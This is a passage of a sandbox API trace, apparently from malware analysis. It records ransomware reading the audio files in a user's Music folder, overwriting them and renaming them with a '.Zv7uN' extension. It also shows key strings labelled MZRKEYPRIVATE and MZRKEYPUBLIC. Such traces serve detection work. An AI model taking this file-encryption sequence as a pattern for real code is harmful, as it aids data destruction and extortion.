halpmcxz\\music\\tz0vn5ktrkt\\zyj26chu tegbhsw1uj\\zpccyuba0.wav")) returned 0x20 [0086.734] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\tz0VN5KTRkT\\Zyj26cHu tegBHSw1Uj\\ZpCcyuBa0.wav", dwFileAttributes=0x80) returned 1 [0086.736] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0086.737] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1efff6c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0086.738] GetCurrentThreadId () returned 0xa30 [0086.738] GetCurrentThreadId () returned 0xa30 [0086.738] GetCurrentThreadId () returned 0xa30 [0086.738] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0086.738] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f10fcc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0086.739] GetCurrentThreadId () returned 0xa30 [0086.739] GetCurrentThreadId () returned 0xa30 [0086.739] GetCurrentThreadId () returned 0xa30 [0086.739] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\tz0VN5KTRkT\\Zyj26cHu tegBHSw1Uj\\ZpCcyuBa0.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\tz0vn5ktrkt\\zyj26chu tegbhsw1uj\\zpccyuba0.wav"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c [0086.739] SetFilePointer (in: hFile=0x11c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3c8*=0) returned 0x0 [0086.739] SetFilePointer (in: hFile=0x11c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x0 [0086.739] SetFilePointer (in: hFile=0x11c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x2014 [0086.739] SetFilePointer (in: hFile=0x11c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x0 [0086.739] ReadFile (in: hFile=0x11c, lpBuffer=0x1f18dd0, nNumberOfBytesToRead=0x2014, lpNumberOfBytesRead=0x18f3d4, lpOverlapped=0x0 | out: lpBuffer=0x1f18dd0*, lpNumberOfBytesRead=0x18f3d4*=0x2014, lpOverlapped=0x0) returned 1 [0086.754] CloseHandle (hObject=0x11c) returned 1 [0086.754] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\tz0VN5KTRkT\\Zyj26cHu tegBHSw1Uj\\ZpCcyuBa0.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\tz0vn5ktrkt\\zyj26chu tegbhsw1uj\\zpccyuba0.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c [0086.756] WriteFile (in: hFile=0x11c, lpBuffer=0x1f1ce00*, nNumberOfBytesToWrite=0x2014, lpNumberOfBytesWritten=0x18f3e0, lpOverlapped=0x0 | out: lpBuffer=0x1f1ce00*, lpNumberOfBytesWritten=0x18f3e0*=0x2014, lpOverlapped=0x0) returned 1 [0086.758] CloseHandle (hObject=0x11c) returned 1 [0086.760] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\tz0VN5KTRkT\\Zyj26cHu tegBHSw1Uj\\ZpCcyuBa0.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\tz0vn5ktrkt\\zyj26chu tegbhsw1uj\\zpccyuba0.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\tz0VN5KTRkT\\Zyj26cHu tegBHSw1Uj\\ZpCcyuBa0.wav.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\tz0vn5ktrkt\\zyj26chu tegbhsw1uj\\zpccyuba0.wav.zv7un")) returned 1 [0086.761] GetCurrentThreadId () returned 0xa30 [0086.761] GetCurrentThreadId () returned 0xa30 [0086.761] GetCurrentThreadId () returned 0xa30 [0086.761] GetCurrentThreadId () returned 0xa30 [0086.761] GetCurrentThreadId () returned 0xa30 [0086.761] GetCurrentThreadId () returned 0xa30 [0086.761] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3739eae0, ftCreationTime.dwHighDateTime=0x1d5e48a, ftLastAccessTime.dwLowDateTime=0x35e11fd0, ftLastAccessTime.dwHighDateTime=0x1d5dcc2, ftLastWriteTime.dwLowDateTime=0x35e11fd0, ftLastWriteTime.dwHighDateTime=0x1d5dcc2, nFileSizeHigh=0x0, nFileSizeLow=0x2014, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="ZpCcyuBa0.wav", cAlternateFileName="ZPCCYU~1.WAV")) returned 0 [0086.761] GetLastError () returned 0x12 [0086.761] FindClose (in: hFindFile=0x6aa080 | out: hFindFile=0x6aa080) returned 1 [0086.761] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\tz0VN5KTRkT\\Zyj26cHu tegBHSw1Uj\\*.*", lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb90e86c0, ftCreationTime.dwHighDateTime=0x1d5e183, ftLastAccessTime.dwLowDateTime=0x51a1a400, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x51a1a400, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName=".", cAlternateFileName="")) returned 0x6aa080 [0086.762] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f484 | out: lpLocalFileTime=0x18f484) returned 1 [0086.762] FileTimeToDosDateTime (in: lpFileTime=0x18f484, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0086.762] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb90e86c0, ftCreationTime.dwHighDateTime=0x1d5e183, ftLastAccessTime.dwLowDateTime=0x51a1a400, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x51a1a400, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="..", cAlternateFileName="")) returned 1 [0086.762] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0086.762] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0086.762] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd7f9e170, ftCreationTime.dwHighDateTime=0x1d5e44d, ftLastAccessTime.dwLowDateTime=0xe2616c50, ftLastAccessTime.dwHighDateTime=0x1d5e14b, ftLastWriteTime.dwLowDateTime=0x51851380, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x5ca9, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="0g 0mf.m4a.Zv7uN", cAlternateFileName="0G0MFM~1.ZV7")) returned 1 [0086.762] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0086.762] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0086.762] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa6fe9df0, ftCreationTime.dwHighDateTime=0x1d5d916, ftLastAccessTime.dwLowDateTime=0x3bc52500, ftLastAccessTime.dwHighDateTime=0x1d5d929, ftLastWriteTime.dwLowDateTime=0x518774e0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x14e7a, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="A-cejVo6i.mp3.Zv7uN", cAlternateFileName="A-CEJV~1.ZV7")) returned 1 [0086.762] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0086.762] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0086.762] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1e13f0, ftCreationTime.dwHighDateTime=0x1d5df69, ftLastAccessTime.dwLowDateTime=0x63003460, ftLastAccessTime.dwHighDateTime=0x1d5e5a5, ftLastWriteTime.dwLowDateTime=0x518c37a0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0xcbd8, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="dcuEUUO6h.m4a.Zv7uN", cAlternateFileName="DCUEUU~1.ZV7")) returned 1 [0086.762] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0086.762] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0086.763] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd956f8b0, ftCreationTime.dwHighDateTime=0x1d5d7d1, ftLastAccessTime.dwLowDateTime=0x1e595330, ftLastAccessTime.dwHighDateTime=0x1d5e188, ftLastWriteTime.dwLowDateTime=0x51935bc0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0xb1cc, 